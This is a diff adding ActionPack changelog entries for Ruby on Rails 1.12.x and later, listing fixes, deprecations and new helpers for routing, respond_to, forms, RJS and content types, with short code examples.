+* Added block-usage to PrototypeHelper#form_remote_tag, document block-usage of FormTagHelper#form_tag [Rick]
+
+* Add a 0 margin/padding div around the hidden _method input tag that form_tag outputs.  [Rick]
+
+* Added block-usage to TagHelper#content_tag [DHH]. Example:
+
+   <% content_tag :div, :class => "strong" %>
+     Hello world!
+   <% end %>
+  
+  Will output:
+    <div class="strong">Hello world!</div>
+
+* Deprecated UrlHelper#link_to_image and UrlHelper#link_to :post => true #6409 [BobSilva]
+
+* Upgraded NumberHelper with number_to_phone support international formats to comply with ITU E.123 by supporting area codes with less than 3 digits, added precision argument to number_to_human_size (defaults to 1) #6421 [BobSilva]
+
+* Fixed that setting RAILS_ASSET_ID to "" should not add a trailing slash after assets #6454 [BobSilva/chrismear]
+
+* Force *_url named routes to show the host in ActionView [Rick]
+
+  <%= url_for ... %> # no host
+  <%= foo_path %>    # no host
+  <%= foo_url %>     # host!
+
+* Add support for converting blocks into function arguments to JavaScriptGenerator#call and JavaScriptProxy#call. [Sam Stephenson]
+
+* Add JavaScriptGenerator#literal for wrapping a string in an object whose #to_json is the string itself. [Sam Stephenson]
+
+* Add <%= escape_once html %> to escape html while leaving any currently escaped entities alone.  Fix button_to double-escaping issue. [Rick]
+
+* Fix double-escaped entities, such as &amp;amp;, &amp;#123;, etc. [Rick]
+
+* Fix routing to correctly determine when generation fails. Closes #6300. [psross].
+
+* Fix broken assert_generates when extra keys are being checked. [Jamis Buck]
+
+* Replace KCODE checks with String#chars for truncate.  Closes #6385 [Manfred Stienstra]
+
+* Make page caching respect the format of the resource that is being requested even if the current route is the default route so that, e.g. posts.rss is not transformed by url_for to '/' and subsequently cached as '/index.html' when it should be cached as '/posts.rss'.  [Marcel Molina Jr.]
+
+* Use String#chars in TextHelper::excerpt. Closes #6386 [Manfred Stienstra]
+
+* Fix relative URL root matching problems. [Mark Imbriaco]
+
+* Fix filter skipping in controller subclasses.  #5949, #6297, #6299 [Martin Emde]
+
+* render_text may optionally append to the response body. render_javascript appends by default. This allows you to chain multiple render :update calls by setting @performed_render = false between them (awaiting a better public API).  [Jeremy Kemper]
+
+* Rename test assertion to prevent shadowing. Closes #6306. [psross]
+
+* Fixed that NumberHelper#number_to_delimiter should respect precision of higher than two digits #6231 [phallstrom]
+
+* Fixed that FormHelper#radio_button didn't respect an :id being passed in #6266 [evansj]
+
+* Added an html_options hash parameter to javascript_tag() and update_page_tag() helpers #6311 [tzaharia]. Example:
+
+    update_page_tag :defer => 'true' { |page| ... }
+
+  Gives:
+
+    <script defer="true" type="text/javascript">...</script>
+    
+  Which is needed for dealing with the IE6 DOM when it's not yet fully loaded.
+
+* Fixed that rescue template path shouldn't be hardcoded, then it's easier to hook in your own #6295 [mnaberez]
+
+* Fixed escaping of backslashes in JavaScriptHelper#escape_javascript #6302 [sven at c3d2.de]
+
+* Fixed that some 500 rescues would cause 500's themselves because the response had not yet been generated #6329 [cmselmer]
+
+* respond_to :html doesn't assume .rhtml.  #6281 [Hampton Catlin]
+
+* Fixed some deprecation warnings in ActionPack [Rick Olson]
+
+* assert_select_rjs decodes escaped unicode chars since the Javascript generators encode them.  #6240 [japgolly]
+
+* Deprecation: @cookies, @headers, @request, @response will be removed after 1.2. Use the corresponding method instead.  [Jeremy Kemper]
+
+* Make the :status parameter expand to the default message for that status code if it is an integer. Also support symbol statuses. [Jamis Buck]. Examples:
+
+    head :status => 404        # expands to "404 Not Found"
+    head :status => :not_found # expands to "404 Not Found"
+    head :status => :created   # expands to "201 Created"
+
+* Add head(options = {}) for responses that have no body. [Jamis Buck]. Examples:
+
+    head :status => 404 # return an empty response with a 404 status
+    head :location => person_path(@person), :status => 201
+
+* Fix bug that kept any before_filter except the first one from being able to halt the before_filter chain.  [Rick Olson]
+
+* strip_links is case-insensitive.  #6285 [tagoh, Bob Silva]
+
+* Clear the cache of possible controllers whenever Routes are reloaded. [Nicholas Seckar]
+
+* Filters overhaul including meantime filter support using around filters + blocks.  #5949 [Martin Emde, Roman Le Negrate, Stefan Kaes, Jeremy Kemper]
+
+* Update CGI process to allow sessions to contain namespaced models. Closes #4638. [dfelstead at site5.com]
+
+* Fix routing to respect user provided requirements and defaults when assigning default routing options (such as :action => 'index'). Closes #5950. [Nicholas Seckar]
+
+* Rescue Errno::ECONNRESET to handle an unexpectedly closed socket connection. Improves SCGI reliability.  #3368, #6226 [sdsykes, fhanshaw at vesaria.com]
+
+* Added that respond_to blocks will automatically set the content type to be the same as is requested [DHH]. Examples:
+
+    respond_to do |format|
+      format.html { render :text => "I'm being sent as text/html" }
+      format.rss  { render :text => "I'm being sent as application/rss+xml" }
+      format.atom { render :text => "I'm being sent as application/xml", :content_type => Mime::XML }
+    end
+
+* Added utf-8 as the default charset for all renders. You can change this default using ActionController::Base.default_charset=(encoding) [DHH]
+
+* Added proper getters and setters for content type and charset [DHH]. Example of what we used to do:
+
+    response.headers["Content-Type"] = "application/atom+xml; charset=utf-8"
+  
+  ...now:
+  
+    response.content_type = Mime::ATOM
+    response.charset      = "utf-8"
+
+* Declare file extensions exempt from layouts.  #6219 [brandon]
+    Example: ActionController::Base.exempt_from_layout 'rpdf'
+
+* Add chained replace/update support for assert_select_rjs [Rick Olson]
+
+    Given RJS like...
+
+      page['test1'].replace "<div id=\"1\">foo</div>"
+      page['test2'].replace_html "<div id=\"2\">foo</div>"
+
+    Test it with...
+
+      assert_select_rjs :chained_replace
+      assert_select_rjs :chained_replace, "test1"
+
+      assert_select_rjs :chained_replace_html
+      assert_select_rjs :chained_replace_html, "test2"
+
+* Load helpers in alphabetical order for consistency. Resolve cyclic javascript_helper dependency.  #6132, #6178 [choonkeat at gmail.com]
+
+* Skip params with empty names, such as the &=Save query string from <input type="submit"/>.  #2569 [manfred, raphinou at yahoo.com]
+
+* Fix assert_tag so that :content => "foo" does not match substrings, but only exact strings. Use :content => /foo/ to match substrings. #2799 [Eric Hodel]
+
+* Update JavaScriptGenerator#show/hide/toggle/remove to new Prototype syntax for multiple ids,  #6068 [petermichaux at gmail.com]
+
+* Update UrlWriter to support :only_path. [Nicholas Seckar, Dave Thomas]
+
+* Fixed JavaScriptHelper#link_to_function and JavaScriptHelper#button_to_function to have the script argument be optional [DHH]. So what used to require a nil, like this:
+
+    link_to("Hider", nil, :class => "hider_link") { |p| p[:something].hide }
+  
+  ...can be written like this:
+
+    link_to("Hider", :class => "hider_link") { |p| p[:something].hide }
+
+* Added access to nested attributes in RJS #4548 [richcollins at gmail.com]. Examples:
+
+    page['foo']['style']                  # => $('foo').style;
+    page['foo']['style']['color']         # => $('blank_slate').style.color;
+    page['foo']['style']['color'] = 'red' # => $('blank_slate').style.color = 'red';
+    page['foo']['style'].color = 'red'    # => $('blank_slate').style.color = 'red';
+
+* Fixed that AssetTagHelper#image_tag and others using compute_public_path should not modify the incoming source argument (closes #5102) [eule at space.ch]
+
+* Deprecated the auto-appending of .png to AssetTagHelper#image_tag calls that doesn't have an extension [DHH] 
+
+* Fixed FormOptionsHelper#select to respect :selected value #5813
+
+* Fixed TextHelper#simple_format to deal with multiple single returns within a single paragraph #5835 [moriq at moriq.com]
+
+* Fixed TextHelper#pluralize to handle 1 as a string #5909 [rails at bencurtis.com]
+
+* Improved resolution of DateHelper#distance_of_time_in_words for better precision #5994 [Bob Silva]
+
+* Changed that uncaught exceptions raised any where in the application will cause RAILS_ROOT/public/500.html to be read and shown instead of just the static "Application error (Rails)" [DHH]
+
+* Added deprecation language for pagination which will become a plugin by Rails 2.0 [DHH]
+
+* Added deprecation language for in_place_editor and auto_complete_field that both pieces will become plugins by Rails 2.0 [DHH]
+
+* Deprecated all of ActionController::Dependencies. All dependency loading is now handled from Active Support [DHH]
+
+* Added assert_select* for CSS selector-based testing (deprecates assert_tag) #5936 [assaf.arkin at gmail.com]
+
+* radio_button_tag generates unique id attributes.  #3353 [Bob Silva, somekool at gmail.com]
+
+* strip_tags passes through blank args such as nil or "".  #2229, #6702 [duncan at whomwah.com, dharana]
+
+* Cleanup assert_tag :children counting.  #2181 [jamie at bravenet.com]
+
+* button_to accepts :method so you can PUT and DELETE with it.  #6005 [Dan Webb]
+
+* Update sanitize text helper to strip plaintext tags, and <img src="javascript:bang">.  [Rick Olson]
+
+* Add routing tests to assert that RoutingError is raised when conditions aren't met.  Closes #6016 [Nathan Witmer]
+
+* Make auto_link parse a greater subset of valid url formats. [Jamis Buck]
+
+* Integration tests: headers beginning with X aren't excluded from the HTTP_ prefix, so X-Requested-With becomes HTTP_X_REQUESTED_WITH as expected. [Mike Clark]
+
+* Switch to using FormEncodedPairParser for parsing request parameters. [Nicholas Seckar, DHH]
+
+* respond_to .html now always renders #{action_name}.rhtml so that registered custom template handlers do not override it in priority. Custom mime types require a block and throw proper error now. [Tobias Luetke]
+
+* Deprecation: test deprecated instance vars in partials. [Jeremy Kemper]
+
+* Add UrlWriter to allow writing urls from Mailers and scripts. [Nicholas Seckar]
+
+* Relax Routing's anchor pattern warning; it was preventing use of [^/] inside restrictions. [Nicholas Seckar]
+
+* Add controller_paths variable to Routing. [Nicholas Seckar]
+
+* Fix assert_redirected_to issue with named routes for module controllers.  [Rick Olson]
+
+* Tweak RoutingError message to show option diffs, not just missing named route significant keys. [Rick Olson]
+
+* Invoke method_missing directly on hidden actions. Closes #3030. [Nicholas Seckar]
+
+* Add RoutingError exception when RouteSet fails to generate a path from a Named Route. [Rick Olson]
+
+* Replace Reloadable with Reloadable::Deprecated. [Nicholas Seckar]
+
+* Deprecation: check whether instance variables have been monkeyed with before assigning them to deprecation proxies. Raises a RuntimeError if so. [Jeremy Kemper]
+
+* Add support for the param_name parameter to the auto_complete_field helper. #5026 [david.a.williams at gmail.com]
+
+* Deprecation! @params, @session, @flash will be removed after 1.2. Use the corresponding instance methods instead. You'll get printed warnings during tests and logged warnings in dev mode when you access either instance variable directly. [Jeremy Kemper]
+
+* Make Routing noisy when an anchor regexp is assigned to a segment. #5674 [francois.beausoleil at gmail.com]
+
+* Added months and years to the resolution of DateHelper#distance_of_time_in_words, such that "60 days ago" becomes "2 months ago" #5611 [pjhyett at gmail.com]
+
+* Make controller_path available as an instance method.  #5724 [jmckible at gmail.com]
+
+* Update query parser to support adjacent hashes. [Nicholas Seckar]
+
+* Make action caching aware of different formats for the same action so that, e.g.  foo.xml is cached separately from foo.html. Implicitly set content type when reading in cached content with mime revealing extensions so the entire onous isn't on the webserver. [Marcel Molina Jr.]
+
+* Restrict Request Method hacking with ?_method to POST requests.  [Rick Olson]
+
+* Fixed the new_#{resource}_url route and added named route tests for Simply Restful.  [Rick Olson]
+
+* Added map.resources from the Simply Restful plugin [DHH]. Examples (the API has changed to use plurals!):
+
+    map.resources :messages
+    map.resources :messages, :comments
+    map.resources :messages, :new => { :preview => :post }
+
+* Fixed that integration simulation of XHRs should set Accept header as well [Edward Frederick]
+
+* TestRequest#reset_session should restore a TestSession, not a hash [Koz]
+
+* Don't search a load-path of '.' for controller files [Jamis Buck]
+
+* Update integration.rb to require test_process explicitly instead of via Dependencies. [Nicholas Seckar]
+
+* Fixed that you can still access the flash after the flash has been reset in reset_session.  Closes #5584 [lmarlow at yahoo.com]
+
+* Allow form_for and fields_for to work with indexed form inputs.  [Jeremy Kemper, Matt Lyon]
+
+  <% form_for 'post[]', @post do |f| -%>
+  <% end -%>
+
+* Remove leak in development mode by replacing define_method with module_eval. [Nicholas Seckar]
+
+* Provide support for decimal columns to form helpers. Closes #5672. [dave at pragprog.com]
+
+* Pass :id => nil or :class => nil to error_messages_for to supress that html attribute. #3586 [olivier_ansaldi at yahoo.com, sebastien at goetzilla.info]
+
+* Reset @html_document between requests so assert_tag works. #4810 [jarkko at jlaine.net, easleydp at gmail.com]
+
+* Integration tests behave well with render_component. #4632 [edward.frederick at revolution.com, dev.rubyonrails at maxdunn.com]
+
+* Added exception handling of missing layouts #5373 [chris at ozmm.org]
+
+* Fixed that real files and symlinks should be treated the same when compiling templates #5438 [zachary at panandscan.com]
+
+* Fixed that the flash should be reset when reset_session is called #5584 [shugo at ruby-lang.org]
+
+* Added special case for "1 Byte" in NumberHelper#number_to_human_size #5593 [murpyh at rubychan.de]
+
+* Fixed proper form-encoded parameter parsing for requests with "Content-Type: application/x-www-form-urlencoded; charset=utf-8" (note the presence of a charset directive) [DHH]
+
+* Add route_name_path method to generate only the path for a named routes. For example, map.person will add person_path. [Nicholas Seckar]
+
+* Avoid naming collision among compiled view methods. [Jeremy Kemper]
+
+* Fix CGI extensions when they expect string but get nil in Windows. Closes #5276 [mislav at nippur.irb.hr]
+
+* Determine the correct template_root for deeply nested components.  #2841 [s.brink at web.de]
+
+* Fix that routes with *path segments in the recall can generate URLs. [Rick]
+
+* Fix strip_links so that it doesn't hang on multiline <acronym> tags [Jamis Buck]
+
+* Remove problematic control chars in rescue template. #5316 [Stefan Kaes]
+
+* Make sure passed routing options are not mutated by routing code. #5314 [Blair Zajac]
+
+* Make sure changing the controller from foo/bar to bing/bang does not change relative to foo. [Jamis Buck]
+
+* Escape the path before routing recognition. #3671
+
+* Make sure :id and friends are unescaped properly. #5275 [me at julik.nl]
+
+* Rewind readable CGI params so others may reread them (such as CGI::Session when passing the session id in a multipart form).  #210 [mklame at atxeu.com, matthew at walker.wattle.id.au]
+
+* Added Mime::TEXT (text/plain) and Mime::ICS (text/calendar) as new default types [DHH]
+
+* Added Mime::Type.register(string, symbol, synonyms = []) for adding new custom mime types [DHH]. Example: Mime::Type.register("image/gif", :gif)
+
+* Added support for Mime objects in render :content_type option [DHH]. Example: render :text => some_atom, :content_type => Mime::ATOM
+
+* Add :status option to send_data and send_file. Defaults to '200 OK'.  #5243 [Manfred Stienstra <m.stienstra at fngtps.com>]
+
+* Routing rewrite. Simpler, faster, easier to understand. The published API for config/routes.rb is unchanged, but nearly everything else is different, so expect breakage in plugins and libs that try to fiddle with routes. [Nicholas Seckar, Jamis Buck]
+
+  map.connect '/foo/:id', :controller => '...', :action => '...'
+  map.connect '/foo/:id.:format', :controller => '...', :action => '...'
+  map.connect '/foo/:id', ..., :conditions => { :method => :get }
+
+* Cope with missing content type and length headers. Parse parameters from multipart and urlencoded request bodies only. [Jeremy Kemper]
+
+* Accept multipart PUT parameters. #5235 [guy.naor at famundo.com]
+
+* Added interrogation of params[:format] to determine Accept type. If :format is specified and matches a declared extension, like "rss" or "xml", that mime type will be put in front of the accept handler. This means you can link to the same action from different extensions and use that fact to determine output [DHH]. Example:
+
+  class WeblogController < ActionController::Base
+    def index
+      @posts = Post.find :all
+      
+      respond_to do |format|
+        format.html
+        format.xml { render :xml => @posts.to_xml }
+        format.rss { render :action => "feed.rxml" }
+      end
+    end
+  end
+  
+  # returns HTML when requested by a browser, since the browser
+  # has the HTML mimetype at the top of its priority list
+  Accept: text/html
+  GET /weblog 
+  
+  # returns the XML 
+  Accept: application/xml
+  GET /weblog 
+
+  # returns the HTML 
+  Accept: application/xml
+  GET /weblog.html
+
+  # returns the XML
+  Accept: text/html
+  GET /weblog.xml
+  
+  All this relies on the fact that you have a route that includes .:format.
+  
+* Expanded :method option in FormTagHelper#form_tag, FormHelper#form_for, PrototypeHelper#remote_form_for, PrototypeHelper#remote_form_tag, and PrototypeHelper#link_to_remote to allow for verbs other than GET and POST by automatically creating a hidden form field named _method, which will simulate the other verbs over post [DHH]
+
+* Added :method option to UrlHelper#link_to, which allows for using other verbs than GET for the link. This replaces the :post option, which is now deprecated. Example: link_to "Destroy", person_url(:id => person), :method => :delete [DHH]
+
+* follow_redirect doesn't complain about being redirected to the same controller. #5153 [dymo at mk.ukrtelecom.ua]
+
+* Add layout attribute to response object with the name of the layout that was rendered, or nil if none rendered. [Kevin Clark kevin.clark at gmail.com]
+
+* Fix NoMethodError when parsing params like &&. [Adam Greenfield]
+
+* form.text_area handles the :size option just like the original text_area (:size => '60x10' becomes cols="60" rows="10").  [Jeremy Kemper]
+
+* Excise ingrown code from FormOptionsHelper#options_for_select. #5008 [anonymous]
+
+* Small fix in routing to allow dynamic routes (broken after [4242]) [Rick]
+
+    map.connect '*path', :controller => 'files', :action => 'show'
+
+* Use #flush between switching from #write to #syswrite. Closes #4907. [Blair Zajac <blair at orcaware.com>]
+
+* Allow error_messages_for to report errors for multiple objects, as well as support for customizing the name of the object in the error summary header. Closes #4186. [andrew at redlinesoftware.com, Marcel Molina Jr.]
+  
+  error_messages_for :account, :user, :subscription, :object_name => :account
+
+* Fix assert_redirected_to tests according to real-world usage.  Also, don't fail if you add an extra :controller option: [Rick]
+
+    redirect_to :action => 'new'
+    assert_redirected_to :controller => 'monkeys', :action => 'new'
+
+* Diff compared routing options.  Allow #assert_recognizes to take a second arg as a hash to specify optional request method [Rick]
+
+    assert_recognizes({:controller => 'users', :action => 'index'}, 'users')
+    assert_recognizes({:controller => 'users', :action => 'create'}, {:path => 'users', :method => :post})
+
+* Diff compared options with #assert_redirected_to [Rick]
+
+* Add support in routes for semicolon delimited "subpaths", like /books/:id;:action [Jamis Buck]
+
+* Change link_to_function and button_to_function to (optionally) take an update_page block instead of a JavaScript string. Closes #4804. [zraii at comcast.net, Sam Stephenson]
+
+* Modify routing so that you can say :require => { :method => :post } for a route, and the route will never be selected unless the request method is POST. Only works for route recognition, not for route generation. [Jamis Buck]
+
+* Added :add_headers option to verify which merges a hash of name/value pairs into the response's headers hash if the prerequisites cannot be satisfied. [Sam Stephenson]
+  ex. verify :only => :speak, :method => :post, 
+             :render => { :status => 405, :text => "Must be post" }, 
+             :add_headers => { "Allow" => "POST" }
+
+
+*1.12.5* (August 10th, 2006)
+
+* Updated security fix
+
+
+*1.12.4* (August 8th, 2006)
+
+* Cache CgiRequest#request_parameters so that multiple calls don't re-parse multipart data. [Rick]
+
+* Fixed that remote_form_for can leave out the object parameter and default to the instance variable of the object_name, just like form_for [DHH]
+
+* Added ActionController.filter_parameter_logging that makes it easy to remove passwords, credit card numbers, and other sensitive information from being logged when a request is handled.  #1897 [jeremye at bsa.ca.gov]
+
+* Fixed that real files and symlinks should be treated the same when compiling templates.  #5438 [zachary at panandscan.com]
+
+* Add :status option to send_data and send_file. Defaults to '200 OK'.  #5243 [Manfred Stienstra <m.stienstra at fngtps.com>]
+
+* Update documentation for erb trim syntax. #5651 [matt at mattmargolis.net]
+
+* Short documentation to mention use of Mime::Type.register. #5710 [choonkeat at gmail.com]
+
+
+*1.12.3* (June 28th, 2006)
+
+* Fix broken traverse_to_controller. We now:
+  Look for a _controller.rb file under RAILS_ROOT to load.
+  If we find it, we require_dependency it and return the controller it defined. (If none was defined we stop looking.)
+  If we don't find it, we look for a .rb file under RAILS_ROOT to load. If we find it, and it loads a constant we keep looking.
+  Otherwise we check to see if a directory of the same name exists, and if it does we create a module for it.
+
+
+*1.12.2* (June 27th, 2006)
+
+* Refinement to avoid exceptions in traverse_to_controller.
+
+* (Hackish) Fix loading of arbitrary files in Ruby's load path by traverse_to_controller. [Nicholas Seckar]
+
+
+*1.12.1* (April 6th, 2006)
+
+* Fixed that template extensions would be cached development mode #4624 [Stefan Kaes]
+
+* Update to Prototype 1.5.0_rc0 [Sam Stephenson]
+
+* Honor skipping filters conditionally for only certain actions even when the parent class sets that filter to conditionally be executed only for the same actions. #4522 [Marcel Molina Jr.]
+
+* Delegate xml_http_request in integration tests to the session instance. [Jamis Buck]
+
+* Update the diagnostics template skip the useless '<controller not set>' text. [Nicholas Seckar]
+
+* CHANGED DEFAULT: Don't parse YAML input by default, but keep it available as an easy option [DHH]
+
+* Add additional autocompleter options [aballai, Thomas Fuchs]
+
+* Fixed fragment caching of binary data on Windows #4493 [bellis at deepthought.org]
+
+* Applied Prototype $() performance patches (#4465, #4477) and updated script.aculo.us [Sam Stephenson, Thomas Fuchs]
+
+* Added automated timestamping to AssetTagHelper methods for stylesheets, javascripts, and images when Action Controller is run under Rails [DHH]. Example:
+
+    image_tag("rails.png") # => '<img alt="Rails" src="/images/rails.png?1143664135" />'
+  
+  ...to avoid frequent stats (not a problem for most people), you can set RAILS_ASSET_ID in the ENV to avoid stats:
+
+    ENV["RAILS_ASSET_ID"] = "2345"
+    image_tag("rails.png") # => '<img alt="Rails" src="/images/rails.png?2345" />'
+
+  This can be used by deployment managers to set the asset id by application revision
+
+
+*1.12.0* (March 27th, 2006)
+
+* Add documentation for respond_to. [Jamis Buck]
+
+* Fixed require of bluecloth and redcloth when gems haven't been loaded #4446 [murphy at cYcnus.de]
+
+* Update to Prototype 1.5.0_pre1 [Sam Stephenson]
+
+* Change #form_for and #fields_for so that the second argument is not required [Dave Thomas]
+
+    <% form_for :post, @post, :url => { :action => 'create' } do |f| -%>
+    
+  becomes...
+  
+    <% form_for :post, :url => { :action => 'create' } do |f| -%>
+
+* Update to script.aculo.us 1.6 [Thomas Fuchs]
+
+* Enable application/x-yaml processing by default [Jamis Buck]
+
+* Fix double url escaping of remote_function. Add :escape => false option to ActionView's url_for. [Nicholas Seckar]
+
+* Add :script option to in_place_editor to support evalScripts (closes #4194) [codyfauser at gmail.com]
+
+* Fix mixed case enumerable methods in the JavaScript Collection Proxy (closes #4314) [codyfauser at gmail.com]
+
+* Undo accidental escaping for mail_to; add regression test. [Nicholas Seckar]
+
+* Added nicer message for assert_redirected_to (closes #4294) [court3nay]
+
+    assert_redirected_to :action => 'other_host', :only_path => false
+    
+  when it was expecting...
+  
+    redirected_to :action => 'other_host', :only_path => true, :host => 'other.test.host'
+  
+  gives the error message...
+
+    response is not a redirection to all of the options supplied (redirection is <{:only_path=>false, :host=>"other.test.host", :action=>"other_host"}>), difference: <{:only_path=>"true", :host=>"other.test.host"}>
+
+* Change url_for to escape the resulting URLs when called from a view. [Nicholas Seckar, coffee2code]
+
+* Added easy support for testing file uploads with fixture_file_upload #4105 [turnip at turnipspatch.com]. Example:
+
+    # Looks in Test::Unit::TestCase.fixture_path + '/files/spongebob.png'
+    post :change_avatar, :avatar => fixture_file_upload('/files/spongebob.png', 'image/png')
+
+* Fixed UrlHelper#current_page? to behave even when url-escaped entities are present #3929 [jeremy at planetargon.com]
+
+* Add ability for relative_url_root to be specified via an environment variable RAILS_RELATIVE_URL_ROOT. [isaac at reuben.com, Nicholas Seckar]
+
+* Fixed link_to "somewhere", :post => true to produce valid XHTML by using the parentnode instead of document.body for the instant form #3007 [Bob Silva]
+
+* Added :function option to PrototypeHelper#observe_field/observe_form that allows you to call a function instead of submitting an ajax call as the trigger #4268 [jonathan at daikini.com]
+
+* Make Mime::Type.parse consider q values (if any) [Jamis Buck]
+
+* XML-formatted requests are typecast according to "type" attributes for :xml_simple [Jamis Buck]
+
+* Added protection against proxy setups treating requests as local even when they're not #3898 [stephen_purcell at yahoo.com]
+
+* Added TestRequest#raw_post that simulate raw_post from CgiRequest #3042 [francois.beausoleil at gmail.com]
+
+* Underscore dasherized keys in formatted requests [Jamis Buck]
+
+* Add MimeResponds::Responder#any for managing multiple types with identical responses [Jamis Buck]
+
+* Make the xml_http_request testing method set the HTTP_ACCEPT header [Jamis Buck]
+
+* Add Verification to scaffolds.   Prevent destructive actions using GET [Michael Koziarski]
+
+* Avoid hitting the filesystem when using layouts by using a File.directory? cache. [Stefan Kaes, Nicholas Seckar]
+
+* Simplify ActionController::Base#controller_path [Nicholas Seckar]
+
+* Added simple alert() notifications for RJS exceptions when config.action_view.debug_rjs = true. [Sam Stephenson]
+
+* Added :content_type option to render, so you can change the content type on the fly [DHH]. Example: render :action => "atom.rxml", :content_type => "application/atom+xml"
+
+* CHANGED DEFAULT: The default content type for .rxml is now application/xml instead of type/xml, see http://www.xml.com/pub/a/2004/07/21/dive.html for reason [DHH]
+
+* Added option to render action/template/file of a specific extension (and here by template type). This means you can have multiple templates with the same name but a different extension [DHH]. Example:
+  
+    class WeblogController < ActionController::Base
+      def index
+        @posts = Post.find :all
+  
+        respond_to do |type|
+          type.html # using defaults, which will render weblog/index.rhtml
+          type.xml  { render :action => "index.rxml" }
+          type.js   { render :action => "index.rjs" }
+        end
+      end
+    end
+
+* Added better support for using the same actions to output for different sources depending on the Accept header [DHH]. Example:
+
+    class WeblogController < ActionController::Base
+      def create
+        @post = Post.create(params[:post])
+      
+        respond_to do |type|
+          type.js   { render }  # renders create.rjs
+          type.html { redirect_to :action => "index" }
+          type.xml  do
+            headers["Location"] = url_for(:action => "show", :id => @post)
+            render(:nothing, :status => "201 Created")
+          end
+        end
+      end
+    end
+
+* Added Base#render(:xml => xml) that works just like Base#render(:text => text), but sets the content-type to text/xml and the charset to UTF-8 [DHH]
+
+* Integration test's url_for now runs in the context of the last request (if any) so after post /products/show/1 url_for :action => 'new' will yield /product/new  [Tobias Luetke]
+
+* Re-added mixed-in helper methods for the JavascriptGenerator.  Moved JavascriptGenerators methods to a module that is mixed in after the helpers are added.  Also fixed that variables set in the enumeration methods like #collect are set correctly.  Documentation added for the enumeration methods [Rick Olson].  Examples:
+
+    page.select('#items li').collect('items') do |element|
+      element.hide
+    end
+    # => var items = $$('#items li').collect(function(value, index) { return value.hide(); });
+
+* Added plugin support for parameter parsers, which allows for better support for REST web services. By default, posts submitted with the application/xml content type is handled by creating a XmlSimple hash with the same name as the root element of the submitted xml. More handlers can easily be registered like this:
+
+    # Assign a new param parser to a new content type
+    ActionController::Base.param_parsers['application/atom+xml'] = Proc.new do |data| 
+      node = REXML::Document.new(post) 
+     { node.root.name => node.root }
+    end
+
+    # Assign the default XmlSimple to a new content type
+    ActionController::Base.param_parsers['application/backpack+xml'] = :xml_simple
+ 
+Default YAML web services were retired, ActionController::Base.param_parsers carries an example which shows how to get this functionality back. As part of this new plugin support, request.[formatted_post?, xml_post?, yaml_post? and post_format] were all deprecated in favor of request.content_type [Tobias Luetke]
+ 
+* Fixed Effect.Appear in effects.js to work with floats in Safari #3524, #3813, #3044 [Thomas Fuchs]
+
+* Fixed that default image extension was not appended when using a full URL with AssetTagHelper#image_tag #4032, #3728 [rubyonrails at beautifulpixel.com]
+
+* Added that page caching will only happen if the response code is less than 400 #4033 [g.bucher at teti.ch]
+
+* Add ActionController::IntegrationTest to allow high-level testing of the way the controllers and routes all work together [Jamis Buck]
+
+* Added support to AssetTagHelper#javascript_include_tag for having :defaults appear anywhere in the list, so you can now make one call ala javascript_include_tag(:defaults, "my_scripts") or javascript_include_tag("my_scripts", :defaults) depending on how you want the load order #3506 [Bob Silva]
+
+* Added support for visual effects scoped queues to the visual_effect helper #3530 [Abdur-Rahman Advany]
+
+* Added .rxml (and any non-rhtml template, really) supportfor CaptureHelper#content_for and CaptureHelper#capture #3287 [Brian Takita]
+
+* Added script.aculo.us drag and drop helpers to RJS [Thomas Fuchs]. Examples:
+
+    page.draggable 'product-1'
+    page.drop_receiving 'wastebasket', :url => { :action => 'delete' }
+    page.sortable 'todolist', :url => { action => 'change_order' }
+
+* Fixed that form elements would strip the trailing [] from the first parameter #3545 [ruby at bobsilva.com]
+
+* During controller resolution, update the NameError suppression to check for the expected constant. [Nicholas Seckar]
+
+* Update script.aculo.us to V1.5.3 [Thomas Fuchs]
+
+* Added various InPlaceEditor options, #3746, #3891, #3896, #3906 [Bill Burcham, ruairi, sl33p3r]
+
+* Added :count option to pagination that'll make it possible for the ActiveRecord::Base.count call to using something else than * for the count. Especially important for count queries using DISTINCT #3839 [skaes]
+
+* Update script.aculo.us to V1.5.2 [Thomas Fuchs]
+
+* Added element and collection proxies to RJS [DHH]. Examples:
+
+    page['blank_slate']                  # => $('blank_slate');
+    page['blank_slate'].show             # => $('blank_slate').show();
+    page['blank_slate'].show('first').up # => $('blank_slate').show('first').up();
+    
+    page.select('p')                      # => $$('p');
+    page.select('p.welcome b').first      # => $$('p.welcome b').first();
+    page.select('p.welcome b').first.hide # => $$('p.welcome b').first().hide();
+
+* Add JavaScriptGenerator#replace for replacing an element's "outer HTML". #3246 [tom at craz8.com, Sam Stephenson]
+
+* Remove over-engineered form_for code for a leaner implementation. [Nicholas Seckar]
+
+* Document form_for's :html option. [Nicholas Seckar]
+
+* Major components cleanup and speedup.  #3527 [Stefan Kaes]
+
+* Fix problems with pagination and :include.  [Kevin Clark]
+
+* Add ActiveRecordTestCase for testing AR integration. [Kevin Clark]
+
+* Add Unit Tests for pagination [Kevin Clark]
+
+* Add :html option for specifying form tag options in form_for. [Sam Stephenson]
+
+* Replace dubious controller parent class in filter docs. #3655, #3722  [info at rhalff.com, eigentone at gmail.com]
+
+* Don't interpret the :value option on text_area as an html attribute. Set the text_area's value. #3752 [gabriel at gironda.org]
+
+* Fix remote_form_for creates a non-ajax form. [Rick Olson]
+
+* Don't let arbitrary classes match as controllers -- a potentially dangerous bug. [Nicholas Seckar]
+
+* Fix Routing tests. Fix routing where failing to match a controller would prevent the rest of routes from being attempted. [Nicholas Seckar]
+
+* Add :builder => option to form_for and friends. [Nicholas Seckar, Rick Olson]
+
+* Fix controller resolution to avoid accidentally inheriting a controller from a parent module. [Nicholas Seckar]
+
+* Set sweeper's @controller to nil after a request so that the controller may be collected between requests. [Nicholas Seckar]
+
+* Subclasses of ActionController::Caching::Sweeper should be Reloadable. [Rick Olson]
+
+* Document the :xhr option for verifications. #3666 [leeo]
+
+* Added :only and :except controls to skip_before/after_filter just like for when you add filters [DHH]
+
+* Ensure that the instance variables are copied to the template when performing render :update. [Nicholas Seckar]
+
+* Add the ability to call JavaScriptGenerator methods from helpers called in update blocks. [Sam Stephenson]  Example:
+  module ApplicationHelper
+    def update_time
+      page.replace_html 'time', Time.now.to_s(:db)
+      page.visual_effect :highlight, 'time'
+    end
+  end
+
+  class UserController < ApplicationController
+    def poll
+      render :update { |page| page.update_time }
+    end
+  end
+
+* Add render(:update) to ActionView::Base. [Sam Stephenson]
+
+* Fix render(:update) to not render layouts. [Sam Stephenson]
+
